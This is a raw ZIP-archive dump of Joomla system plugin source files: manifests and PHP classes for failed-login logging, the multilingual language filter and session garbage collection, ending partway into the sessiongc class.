		<language tag="en-GB">language/en-GB/plg_system_log.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="log_username"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="PLG_SYSTEM_LOG_FIELD_LOG_USERNAME_LABEL"
					default="0"
					filter="integer"
					>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK!O�2lllog/log.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.log
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Authentication\Authentication;
use Joomla\CMS\Log\Log;
use Joomla\CMS\Plugin\CMSPlugin;

/**
 * Joomla! System Logging Plugin.
 *
 * @since  1.5
 */
class PlgSystemLog extends CMSPlugin
{
	/**
	 * Called if user fails to be logged in.
	 *
	 * @param   array  $response  Array of response data.
	 *
	 * @return  void
	 *
	 * @since   1.5
	 */
	public function onUserLoginFailure($response)
	{
		$errorlog = array();

		switch ($response['status'])
		{
			case Authentication::STATUS_SUCCESS:
				$errorlog['status']  = $response['type'] . ' CANCELED: ';
				$errorlog['comment'] = $response['error_message'];
				break;

			case Authentication::STATUS_FAILURE:
				$errorlog['status']  = $response['type'] . ' FAILURE: ';

				if ($this->params->get('log_username', 0))
				{
					$errorlog['comment'] = $response['error_message'] . ' ("' . $response['username'] . '")';
				}
				else
				{
					$errorlog['comment'] = $response['error_message'];
				}
				break;

			default:
				$errorlog['status']  = $response['type'] . ' UNKNOWN ERROR: ';
				$errorlog['comment'] = $response['error_message'];
				break;
		}

		Log::addLogger(array(), Log::INFO);

		try
		{
			Log::add($errorlog['comment'], Log::INFO, $errorlog['status']);
		}
		catch (Exception $e)
		{
			// If the log file is unwriteable during login then we should not go to the error page
			return;
		}
	}
}
PK!��/ŗ
�
!languagefilter/languagefilter.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="plugin" group="system" method="upgrade">
	<name>plg_system_languagefilter</name>
	<author>Joomla! Project</author>
	<creationDate>July 2010</creationDate>
	<copyright>(C) 2010 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_SYSTEM_LANGUAGEFILTER_XML_DESCRIPTION</description>
	<files>
		<filename plugin="languagefilter">languagefilter.php</filename>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/plg_system_languagefilter.ini</language>
		<language tag="en-GB">language/en-GB/plg_system_languagefilter.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="detect_browser"
					type="list"
					label="PLG_SYSTEM_LANGUAGEFILTER_FIELD_DETECT_BROWSER_LABEL"
					default="0"
					filter="integer"
					validate="options"
					>
					<option value="0">PLG_SYSTEM_LANGUAGEFILTER_SITE_LANGUAGE</option>
					<option value="1">PLG_SYSTEM_LANGUAGEFILTER_BROWSER_SETTINGS</option>
				</field>

				<field
					name="automatic_change"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="PLG_SYSTEM_LANGUAGEFILTER_FIELD_AUTOMATIC_CHANGE_LABEL"
					default="1"
					filter="integer"
					>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>

				<field
					name="item_associations"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="PLG_SYSTEM_LANGUAGEFILTER_FIELD_ITEM_ASSOCIATIONS_LABEL"
					default="1"
					filter="integer"
					>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>

				<field
					name="alternate_meta"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="PLG_SYSTEM_LANGUAGEFILTER_FIELD_ALTERNATE_META_LABEL"
					default="1"
					filter="integer"
					>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>

				<field
					name="xdefault"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="PLG_SYSTEM_LANGUAGEFILTER_FIELD_XDEFAULT_LABEL"
					default="1"
					filter="integer"
					showon="alternate_meta:1"
					>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>

				<field
					name="xdefault_language"
					type="contentlanguage"
					label="PLG_SYSTEM_LANGUAGEFILTER_FIELD_XDEFAULT_LANGUAGE_LABEL"
					default="default"
					showon="alternate_meta:1[AND]xdefault:1"
					>
					<option value="default">PLG_SYSTEM_LANGUAGEFILTER_OPTION_DEFAULT_LANGUAGE</option>
				</field>

				<field
					name="remove_default_prefix"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="PLG_SYSTEM_LANGUAGEFILTER_FIELD_REMOVE_DEFAULT_PREFIX_LABEL"
					default="0"
					filter="integer"
					>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>

				<field
					name="lang_cookie"
					type="list"
					label="PLG_SYSTEM_LANGUAGEFILTER_FIELD_COOKIE_LABEL"
					default="0"
					filter="integer"
					validate="options"
					>
					<option value="1">PLG_SYSTEM_LANGUAGEFILTER_OPTION_YEAR</option>
					<option value="0">PLG_SYSTEM_LANGUAGEFILTER_OPTION_SESSION</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK!Hf%�ee!languagefilter/languagefilter.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.languagefilter
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Application\ApplicationHelper;
use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Application\CMSApplicationInterface;
use Joomla\CMS\Association\AssociationServiceInterface;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Filesystem\Folder;
use Joomla\CMS\Language\Associations;
use Joomla\CMS\Language\Language;
use Joomla\CMS\Language\LanguageHelper;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Plugin\CMSPlugin;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Router\Router;
use Joomla\CMS\Uri\Uri;
use Joomla\Component\Menus\Administrator\Helper\MenusHelper;
use Joomla\Registry\Registry;
use Joomla\String\StringHelper;

/**
 * Joomla! Language Filter Plugin.
 *
 * @since  1.6
 */
class PlgSystemLanguageFilter extends CMSPlugin
{
	/**
	 * The routing mode.
	 *
	 * @var    boolean
	 * @since  2.5
	 */
	protected $mode_sef;

	/**
	 * Available languages by sef.
	 *
	 * @var    array
	 * @since  1.6
	 */
	protected $sefs;

	/**
	 * Available languages by language codes.
	 *
	 * @var    array
	 * @since  2.5
	 */
	protected $lang_codes;

	/**
	 * The current language code.
	 *
	 * @var    string
	 * @since  3.4.2
	 */
	protected $current_lang;

	/**
	 * The default language code.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $default_lang;

	/**
	 * The logged user language code.
	 *
	 * @var    string
	 * @since  3.3.1
	 */
	private $user_lang_code;

	/**
	 * Application object.
	 *
	 * @var    CMSApplicationInterface
	 * @since  3.3
	 */
	protected $app;

	/**
	 * Constructor.
	 *
	 * @param   object  &$subject  The object to observe
	 * @param   array   $config    An optional associative array of configuration settings.
	 *
	 * @since   1.6
	 */
	public function __construct(&$subject, $config)
	{
		parent::__construct($subject, $config);

		// Setup language data.
		$this->mode_sef     = $this->app->get('sef', 0);
		$this->sefs         = LanguageHelper::getLanguages('sef');
		$this->lang_codes   = LanguageHelper::getLanguages('lang_code');
		$this->default_lang = ComponentHelper::getParams('com_languages')->get('site', 'en-GB');

		// If language filter plugin is executed in a site page.
		if ($this->app->isClient('site'))
		{
			$levels = $this->app->getIdentity()->getAuthorisedViewLevels();

			foreach ($this->sefs as $sef => $language)
			{
				// @todo: In Joomla 2.5.4 and earlier access wasn't set. Non modified Content Languages got 0 as access value
				// we also check if frontend language exists and is enabled
				if (($language->access && !in_array($language->access, $levels))
					|| (!array_key_exists($language->lang_code, LanguageHelper::getInstalledLanguages(0))))
				{
					unset($this->lang_codes[$language->lang_code], $this->sefs[$language->sef]);
				}
			}
		}
		// If language filter plugin is executed in an admin page (ex: Route site).
		else
		{
			// Set current language to default site language, fallback to en-GB if there is no content language for the default site language.
			$this->current_lang = isset($this->lang_codes[$this->default_lang]) ? $this->default_lang : 'en-GB';

			foreach ($this->sefs as $sef => $language)
			{
				if (!array_key_exists($language->lang_code, LanguageHelper::getInstalledLanguages(0)))
				{
					unset($this->lang_codes[$language->lang_code]);
					unset($this->sefs[$language->sef]);
				}
			}
		}
	}

	/**
	 * After initialise.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function onAfterInitialise()
	{
		$this->app->item_associations = $this->params->get('item_associations', 0);

		// We need to make sure we are always using the site router, even if the language plugin is executed in admin app.
		$router = CMSApplication::getInstance('site')->getRouter('site');

		// Attach build rules for language SEF.
		$router->attachBuildRule(array($this, 'preprocessBuildRule'), Router::PROCESS_BEFORE);

		if ($this->mode_sef)
		{
			$router->attachBuildRule(array($this, 'buildRule'), Router::PROCESS_BEFORE);
			$router->attachBuildRule(array($this, 'postprocessSEFBuildRule'), Router::PROCESS_AFTER);
		}
		else
		{
			$router->attachBuildRule(array($this, 'postprocessNonSEFBuildRule'), Router::PROCESS_AFTER);
		}

		// Attach parse rule.
		$router->attachParseRule(array($this, 'parseRule'), Router::PROCESS_BEFORE);
	}

	/**
	 * After route.
	 *
	 * @return  void
	 *
	 * @since   3.4
	 */
	public function onAfterRoute()
	{
		// Add custom site name.
		if ($this->app->isClient('site') && isset($this->lang_codes[$this->current_lang]) && $this->lang_codes[$this->current_lang]->sitename)
		{
			$this->app->set('sitename', $this->lang_codes[$this->current_lang]->sitename);
		}
	}

	/**
	 * Add build preprocess rule to router.
	 *
	 * @param   Router  &$router  Router object.
	 * @param   Uri     &$uri     Uri object.
	 *
	 * @return  void
	 *
	 * @since   3.4
	 */
	public function preprocessBuildRule(&$router, &$uri)
	{
		$lang = $uri->getVar('lang', $this->current_lang);

		if (isset($this->sefs[$lang]))
		{
			$lang = $this->sefs[$lang]->lang_code;
		}

		$uri->setVar('lang', $lang);
	}

	/**
	 * Add build rule to router.
	 *
	 * @param   Router  &$router  Router object.
	 * @param   Uri     &$uri     Uri object.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function buildRule(&$router, &$uri)
	{
		$lang = $uri->getVar('lang');

		if (isset($this->lang_codes[$lang]))
		{
			$sef = $this->lang_codes[$lang]->sef;
		}
		else
		{
			$sef = $this->lang_codes[$this->current_lang]->sef;
		}

		if (!$this->params->get('remove_default_prefix', 0)
			|| $lang !== $this->default_lang
			|| $lang !== $this->current_lang)
		{
			$uri->setPath($uri->getPath() . '/' . $sef . '/');
		}
	}

	/**
	 * postprocess build rule for SEF URLs
	 *
	 * @param   Router  &$router  Router object.
	 * @param   Uri     &$uri     Uri object.
	 *
	 * @return  void
	 *
	 * @since   3.4
	 */
	public function postprocessSEFBuildRule(&$router, &$uri)
	{
		$uri->delVar('lang');
	}

	/**
	 * postprocess build rule for non-SEF URLs
	 *
	 * @param   Router  &$router  Router object.
	 * @param   Uri     &$uri     Uri object.
	 *
	 * @return  void
	 *
	 * @since   3.4
	 */
	public function postprocessNonSEFBuildRule(&$router, &$uri)
	{
		$lang = $uri->getVar('lang');

		if (isset($this->lang_codes[$lang]))
		{
			$uri->setVar('lang', $this->lang_codes[$lang]->sef);
		}
	}

	/**
	 * Add parse rule to router.
	 *
	 * @param   Router  &$router  Router object.
	 * @param   Uri     &$uri     Uri object.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function parseRule(&$router, &$uri)
	{
		// Did we find the current and existing language yet?
		$found = false;

		// Are we in SEF mode or not?
		if ($this->mode_sef)
		{
			$path = $uri->getPath();
			$parts = explode('/', $path);

			$sef = StringHelper::strtolower($parts[0]);

			// Do we have a URL Language Code ?
			if (!isset($this->sefs[$sef]))
			{
				// Check if remove default URL language code is set
				if ($this->params->get('remove_default_prefix', 0))
				{
					if ($parts[0])
					{
						// We load a default site language page
						$lang_code = $this->default_lang;
					}
					else
					{
						// We check for an existing language cookie
						$lang_code = $this->getLanguageCookie();
					}
				}
				else
				{
					$lang_code = $this->getLanguageCookie();
				}

				// No language code. Try using browser settings or default site language
				if (!$lang_code && $this->params->get('detect_browser', 0) == 1)
				{
					$lang_code = LanguageHelper::detectLanguage();
				}

				if (!$lang_code)
				{
					$lang_code = $this->default_lang;
				}

				if ($lang_code === $this->default_lang && $this->params->get('remove_default_prefix', 0))
				{
					$found = true;
				}
			}
			else
			{
				// We found our language
				$found = true;
				$lang_code = $this->sefs[$sef]->lang_code;

				// If we found our language, but it's the default language and we don't want a prefix for that, we are on a wrong URL.
				// Or we try to change the language back to the default language. We need a redirect to the proper URL for the default language.
				if ($lang_code === $this->default_lang && $this->params->get('remove_default_prefix', 0))
				{
					// Create a cookie.
					$this->setLanguageCookie($lang_code);

					$found = false;
					array_shift($parts);
					$path = implode('/', $parts);
				}

				// We have found our language and the first part of our URL is the language prefix
				if ($found)
				{
					array_shift($parts);

					// Empty parts array when "index.php" is the only part left.
					if (count($parts) === 1 && $parts[0] === 'index.php')
					{
						$parts = array();
					}

					$uri->setPath(implode('/', $parts));
				}
			}
		}
		// We are not in SEF mode
		else
		{
			$lang_code = $this->getLanguageCookie();

			if (!$lang_code && $this->params->get('detect_browser', 1))
			{
				$lang_code = LanguageHelper::detectLanguage();
			}

			if (!isset($this->lang_codes[$lang_code]))
			{
				$lang_code = $this->default_lang;
			}
		}

		$lang = $uri->getVar('lang', $lang_code);

		if (isset($this->sefs[$lang]))
		{
			// We found our language
			$found = true;
			$lang_code = $this->sefs[$lang]->lang_code;
		}

		// We are called via POST or the nolangfilter url parameter was set. We don't care about the language
		// and simply set the default language as our current language.
		if ($this->app->input->getMethod() === 'POST'
			|| $this->app->input->get('nolangfilter', 0) == 1
			|| count($this->app->input->post) > 0
			|| count($this->app->input->files) > 0)
		{
			$found = true;

			if (!isset($lang_code))
			{
				$lang_code = $this->getLanguageCookie();
			}

			if (!$lang_code && $this->params->get('detect_browser', 1))
			{
				$lang_code = LanguageHelper::detectLanguage();
			}

			if (!isset($this->lang_codes[$lang_code]))
			{
				$lang_code = $this->default_lang;
			}
		}

		// We have not found the language and thus need to redirect
		if (!$found)
		{
			// Lets find the default language for this user
			if (!isset($lang_code) || !isset($this->lang_codes[$lang_code]))
			{
				$lang_code = false;

				if ($this->params->get('detect_browser', 1))
				{
					$lang_code = LanguageHelper::detectLanguage();

					if (!isset($this->lang_codes[$lang_code]))
					{
						$lang_code = false;
					}
				}

				if (!$lang_code)
				{
					$lang_code = $this->default_lang;
				}
			}

			if ($this->mode_sef)
			{
				// Use the current language sef or the default one.
				if ($lang_code !== $this->default_lang
					|| !$this->params->get('remove_default_prefix', 0))
				{
					$path = $this->lang_codes[$lang_code]->sef . '/' . $path;
				}

				$uri->setPath($path);

				if (!$this->app->get('sef_rewrite'))
				{
					$uri->setPath('index.php/' . $uri->getPath());
				}

				$redirectUri = $uri->base() . $uri->toString(array('path', 'query', 'fragment'));
			}
			else
			{
				$uri->setVar('lang', $this->lang_codes[$lang_code]->sef);
				$redirectUri = $uri->base() . 'index.php?' . $uri->getQuery();
			}

			// Set redirect HTTP code to "302 Found".
			$redirectHttpCode = 302;

			// If selected language is the default language redirect code is "301 Moved Permanently".
			if ($lang_code === $this->default_lang)
			{
				$redirectHttpCode = 301;

				// We cannot cache this redirect in browser. 301 is cacheable by default so we need to force to not cache it in browsers.
				$this->app->setHeader('Expires', 'Wed, 17 Aug 2005 00:00:00 GMT', true);
				$this->app->setHeader('Last-Modified', gmdate('D, d M Y H:i:s') . ' GMT', true);
				$this->app->setHeader('Cache-Control', 'no-store, no-cache, must-revalidate, post-check=0, pre-check=0', false);
				$this->app->setHeader('Pragma', 'no-cache');
				$this->app->sendHeaders();
			}

			// Redirect to language.
			$this->app->redirect($redirectUri, $redirectHttpCode);
		}

		// We have found our language and now need to set the cookie and the language value in our system
		$array = array('lang' => $lang_code);
		$this->current_lang = $lang_code;

		// Set the request var.
		$this->app->input->set('language', $lang_code);
		$this->app->set('language', $lang_code);
		$language = $this->app->getLanguage();

		if ($language->getTag() !== $lang_code)
		{
			$language_new = Language::getInstance($lang_code, (bool) $this->app->get('debug_lang'));

			foreach ($language->getPaths() as $extension => $files)
			{
				if (strpos($extension, 'plg_system') !== false)
				{
					$extension_name = substr($extension, 11);

					$language_new->load($extension, JPATH_ADMINISTRATOR)
					|| $language_new->load($extension, JPATH_PLUGINS . '/system/' . $extension_name);

					continue;
				}

				$language_new->load($extension);
			}

			Factory::$language = $language_new;
			$this->app->loadLanguage($language_new);
		}

		// Create a cookie.
		if ($this->getLanguageCookie() !== $lang_code)
		{
			$this->setLanguageCookie($lang_code);
		}

		return $array;
	}

	/**
	 * Reports the privacy related capabilities for this plugin to site administrators.
	 *
	 * @return  array
	 *
	 * @since   3.9.0
	 */
	public function onPrivacyCollectAdminCapabilities()
	{
		$this->loadLanguage();

		return array(
			Text::_('PLG_SYSTEM_LANGUAGEFILTER') => array(
				Text::_('PLG_SYSTEM_LANGUAGEFILTER_PRIVACY_CAPABILITY_LANGUAGE_COOKIE'),
			),
		);
	}

	/**
	 * Before store user method.
	 *
	 * Method is called before user data is stored in the database.
	 *
	 * @param   array    $user   Holds the old user data.
	 * @param   boolean  $isnew  True if a new user is stored.
	 * @param   array    $new    Holds the new user data.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function onUserBeforeSave($user, $isnew, $new)
	{
		if (array_key_exists('params', $user) && $this->params->get('automatic_change', 1) == 1)
		{
			$registry = new Registry($user['params']);
			$this->user_lang_code = $registry->get('language');

			if (empty($this->user_lang_code))
			{
				$this->user_lang_code = $this->current_lang;
			}
		}
	}

	/**
	 * After store user method.
	 *
	 * Method is called after user data is stored in the database.
	 *
	 * @param   array    $user     Holds the new user data.
	 * @param   boolean  $isnew    True if a new user is stored.
	 * @param   boolean  $success  True if user was successfully stored in the database.
	 * @param   string   $msg      Message.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function onUserAfterSave($user, $isnew, $success, $msg): void
	{
		if ($success && array_key_exists('params', $user) && $this->params->get('automatic_change', 1) == 1)
		{
			$registry = new Registry($user['params']);
			$lang_code = $registry->get('language');

			if (empty($lang_code))
			{
				$lang_code = $this->current_lang;
			}

			if ($lang_code === $this->user_lang_code || !isset($this->lang_codes[$lang_code]))
			{
				if ($this->app->isClient('site'))
				{
					$this->app->setUserState('com_users.edit.profile.redirect', null);
				}
			}
			else
			{
				if ($this->app->isClient('site'))
				{
					$this->app->setUserState('com_users.edit.profile.redirect', 'index.php?Itemid='
						. $this->app->getMenu()->getDefault($lang_code)->id . '&lang=' . $this->lang_codes[$lang_code]->sef
					);

					// Create a cookie.
					$this->setLanguageCookie($lang_code);
				}
			}
		}
	}

	/**
	 * Method to handle any login logic and report back to the subject.
	 *
	 * @param   array  $user     Holds the user data.
	 * @param   array  $options  Array holding options (remember, autoregister, group).
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.5
	 */
	public function onUserLogin($user, $options = array())
	{
		if ($this->app->isClient('site'))
		{
			$menu = $this->app->getMenu();

			if ($this->params->get('automatic_change', 1))
			{
				$assoc = Associations::isEnabled();
				$lang_code = $user['language'];

				// If no language is specified for this user, we set it to the site default language
				if (empty($lang_code))
				{
					$lang_code = $this->default_lang;
				}

				// The language has been deleted/disabled or the related content language does not exist/has been unpublished
				// or the related home page does not exist/has been unpublished
				if (!array_key_exists($lang_code, $this->lang_codes)
					|| !array_key_exists($lang_code, Multilanguage::getSiteHomePages())
					|| !Folder::exists(JPATH_SITE . '/language/' . $lang_code))
				{
					$lang_code = $this->current_lang;
				}

				// Try to get association from the current active menu item
				$active = $menu->getActive();

				$foundAssociation = false;

				/**
				 * Looking for associations.
				 * If the login menu item form contains an internal URL redirection,
				 * This will override the automatic change to the user preferred site language.
				 * In that case we use the redirect as defined in the menu item.
				 *  Otherwise we redirect, when available, to the user preferred site language.
				 */
				if ($active && !$active->getParams()->get('login_redirect_url'))
				{
					if ($assoc)
					{
						$associations = MenusHelper::getAssociations($active->id);
					}

					// Retrieves the Itemid from a login form.
					$uri = new Uri($this->app->getUserState('users.login.form.return'));

					if ($uri->getVar('Itemid'))
					{
						// The login form contains a menu item redirection. Try to get associations from that menu item.
						// If any association set to the user preferred site language, redirect to that page.
						if ($assoc)
						{
							$associations = MenusHelper::getAssociations($uri->getVar('Itemid'));
						}

						if (isset($associations[$lang_code]) && $menu->getItem($associations[$lang_code]))
						{
							$associationItemid = $associations[$lang_code];
							$this->app->setUserState('users.login.form.return', 'index.php?Itemid=' . $associationItemid);
							$foundAssociation = true;
						}
					}
					elseif (isset($associations[$lang_code]) && $menu->getItem($associations[$lang_code]))
					{
						/**
						 * The login form does not contain a menu item redirection.
						 * The active menu item has associations.
						 * We redirect to the user preferred site language associated page.
						 */
						$associationItemid = $associations[$lang_code];
						$this->app->setUserState('users.login.form.return', 'index.php?Itemid=' . $associationItemid);
						$foundAssociation = true;
					}
					elseif ($active->home)
					{
						// We are on a Home page, we redirect to the user preferred site language Home page.
						$item = $menu->getDefault($lang_code);

						if ($item && $item->language !== $active->language && $item->language !== '*')
						{
							$this->app->setUserState('users.login.form.return', 'index.php?Itemid=' . $item->id);
							$foundAssociation = true;
						}
					}
				}

				if ($foundAssociation && $lang_code !== $this->current_lang)
				{
					// Change language.
					$this->current_lang = $lang_code;

					// Create a cookie.
					$this->setLanguageCookie($lang_code);

					// Change the language code.
					Factory::getContainer()->get(\Joomla\CMS\Language\LanguageFactoryInterface::class)->createLanguage($lang_code);
				}
			}
			else
			{
				if ($this->app->getUserState('users.login.form.return'))
				{
					$this->app->setUserState('users.login.form.return', Route::_($this->app->getUserState('users.login.form.return'), false));
				}
			}
		}
	}

	/**
	 * Method to add alternative meta tags for associated menu items.
	 *
	 * @return  void
	 *
	 * @since   1.7
	 */
	public function onAfterDispatch()
	{
		$doc = $this->app->getDocument();

		if ($this->app->isClient('site') && $this->params->get('alternate_meta', 1) && $doc->getType() === 'html')
		{
			$languages             = $this->lang_codes;
			$homes                 = Multilanguage::getSiteHomePages();
			$menu                  = $this->app->getMenu();
			$active                = $menu->getActive();
			$levels                = $this->app->getIdentity()->getAuthorisedViewLevels();
			$remove_default_prefix = $this->params->get('remove_default_prefix', 0);
			$server                = Uri::getInstance()->toString(array('scheme', 'host', 'port'));
			$is_home               = false;
			$currentInternalUrl    = 'index.php?' . http_build_query($this->app->getRouter()->getVars());

			if ($active)
			{
				$active_link  = Route::_($active->link . '&Itemid=' . $active->id);
				$current_link = Route::_($currentInternalUrl);

				// Load menu associations
				if ($active_link === $current_link)
				{
					$associations = MenusHelper::getAssociations($active->id);
				}

				// Check if we are on the home page
				$is_home = ($active->home
					&& ($active_link === $current_link || $active_link === $current_link . 'index.php' || $active_link . '/' === $current_link));
			}

			// Load component associations.
			$option = $this->app->input->get('option');

			$component = $this->app->bootComponent($option);

			if ($component instanceof AssociationServiceInterface)
			{
				$cassociations = $component->getAssociationsExtension()->getAssociationsForItem();
			}
			else
			{
				$cName = ucfirst(substr($option, 4)) . 'HelperAssociation';
				JLoader::register($cName, JPath::clean(JPATH_SITE . '/components/' . $option . '/helpers/association.php'));

				if (class_exists($cName) && is_callable(array($cName, 'getAssociations')))
				{
					$cassociations = call_user_func(array($cName, 'getAssociations'));
				}
			}

			// For each language...
			foreach ($languages as $i => $language)
			{
				switch (true)
				{
					// Language without frontend UI || Language without specific home menu || Language without authorized access level
					case !array_key_exists($i, LanguageHelper::getInstalledLanguages(0)):
					case !isset($homes[$i]):
					case isset($language->access) && $language->access && !in_array($language->access, $levels):
						unset($languages[$i]);
						break;

					// Home page
					case $is_home:
						$language->link = Route::_('index.php?lang=' . $language->sef . '&Itemid=' . $homes[$i]->id);
						break;

					// Current language link
					case $i === $this->current_lang:
						$language->link = Route::_($currentInternalUrl);
						break;

					// Component association
					case isset($cassociations[$i]):
						$language->link = Route::_($cassociations[$i]);
						break;

					// Menu items association
					// Heads up! "$item = $menu" here below is an assignment, *NOT* comparison
					case isset($associations[$i]) && ($item = $menu->getItem($associations[$i])):

						$language->link = Route::_('index.php?Itemid=' . $item->id . '&lang=' . $language->sef);
						break;

					// Too bad...
					default:
						unset($languages[$i]);
				}
			}

			// If there are at least 2 of them, add the rel="alternate" links to the <head>
			if (count($languages) > 1)
			{
				// Remove the sef from the default language if "Remove URL Language Code" is on
				if ($remove_default_prefix && isset($languages[$this->default_lang]))
				{
					$languages[$this->default_lang]->link
									= preg_replace('|/' . $languages[$this->default_lang]->sef . '/|', '/', $languages[$this->default_lang]->link, 1);
				}

				foreach ($languages as $i => $language)
				{
					$doc->addHeadLink($server . $language->link, 'alternate', 'rel', array('hreflang' => $i));
				}

				// Add x-default language tag
				if ($this->params->get('xdefault', 1))
				{
					$xdefault_language = $this->params->get('xdefault_language', $this->default_lang);
					$xdefault_language = ($xdefault_language === 'default') ? $this->default_lang : $xdefault_language;

					if (isset($languages[$xdefault_language]))
					{
						// Use a custom tag because addHeadLink is limited to one URI per tag
						$doc->addCustomTag('<link href="' . $server . $languages[$xdefault_language]->link . '" rel="alternate" hreflang="x-default">');
					}
				}
			}
		}
	}

	/**
	 * Set the language cookie
	 *
	 * @param   string  $languageCode  The language code for which we want to set the cookie
	 *
	 * @return  void
	 *
	 * @since   3.4.2
	 */
	private function setLanguageCookie($languageCode)
	{
		// If is set to use language cookie for a year in plugin params, save the user language in a new cookie.
		if ((int) $this->params->get('lang_cookie', 0) === 1)
		{
			// Create a cookie with one year lifetime.
			$this->app->input->cookie->set(
				ApplicationHelper::getHash('language'),
				$languageCode,
				time() + 365 * 86400,
				$this->app->get('cookie_path', '/'),
				$this->app->get('cookie_domain', ''),
				$this->app->isHttpsForced(),
				true
			);
		}
		// If not, set the user language in the session (that is already saved in a cookie).
		else
		{
			$this->app->getSession()->set('plg_system_languagefilter.language', $languageCode);
		}
	}

	/**
	 * Get the language cookie
	 *
	 * @return  string
	 *
	 * @since   3.4.2
	 */
	private function getLanguageCookie()
	{
		// Is is set to use a year language cookie in plugin params, get the user language from the cookie.
		if ((int) $this->params->get('lang_cookie', 0) === 1)
		{
			$languageCode = $this->app->input->cookie->get(ApplicationHelper::getHash('language'));
		}
		// Else get the user language from the session.
		else
		{
			$languageCode = $this->app->getSession()->get('plg_system_languagefilter.language');
		}

		// Let's be sure we got a valid language code. Fallback to null.
		if (!array_key_exists($languageCode, $this->lang_codes))
		{
			$languageCode = null;
		}

		return $languageCode;
	}
}
PK!)���sessiongc/sessiongc.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="plugin" group="system" method="upgrade">
	<name>plg_system_sessiongc</name>
	<author>Joomla! Project</author>
	<creationDate>February 2018</creationDate>
	<copyright>(C) 2018 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.8.6</version>
	<description>PLG_SYSTEM_SESSIONGC_XML_DESCRIPTION</description>
	<files>
		<filename plugin="sessiongc">sessiongc.php</filename>
	</files>
	<languages folder="language">
		<language tag="en-GB">en-GB/en-GB.plg_system_sessiongc.ini</language>
		<language tag="en-GB">en-GB/en-GB.plg_system_sessiongc.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="enable_session_gc"
					type="radio"
					label="PLG_SYSTEM_SESSIONGC_ENABLE_SESSION_GC_LABEL"
					description="PLG_SYSTEM_SESSIONGC_ENABLE_SESSION_GC_DESC"
					layout="joomla.form.field.radio.switcher"
					default="1"
					filter="uint"
					>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>

				<field
					name="enable_session_metadata_gc"
					type="radio"
					label="PLG_SYSTEM_SESSIONGC_ENABLE_SESSION_METADATA_GC_LABEL"
					description="PLG_SYSTEM_SESSIONGC_ENABLE_SESSION_METADATA_GC_DESC"
					layout="joomla.form.field.radio.switcher"
					default="1"
					filter="uint"
					>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>

				<field
					name="gc_probability"
					type="number"
					label="PLG_SYSTEM_SESSIONGC_GC_PROBABILITY_LABEL"
					description="PLG_SYSTEM_SESSIONGC_GC_PROBABILITY_DESC"
					filter="uint"
					validate="number"
					min="1"
					default="1"
					showon="enable_session_gc:1[OR]enable_session_metadata_gc:1"
				/>

				<field
					name="gc_divisor"
					type="number"
					label="PLG_SYSTEM_SESSIONGC_GC_DIVISOR_LABEL"
					description="PLG_SYSTEM_SESSIONGC_GC_DIVISOR_DESC"
					filter="uint"
					validate="number"
					min="1"
					default="100"
					showon="enable_session_gc:1[OR]enable_session_metadata_gc:1"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
PK!~(2b��sessiongc/sessiongc.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.sessiongc
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Factory;
use Joomla\CMS\Plugin\CMSPlugin;
use Joomla\CMS\Session\MetadataManager;

/**
 * Garbage collection handler for session related data
 *
 * @since  3.8.6
 */
class PlgSystemSessionGc extends CMSPlugin
{
	/**
	 * Application object
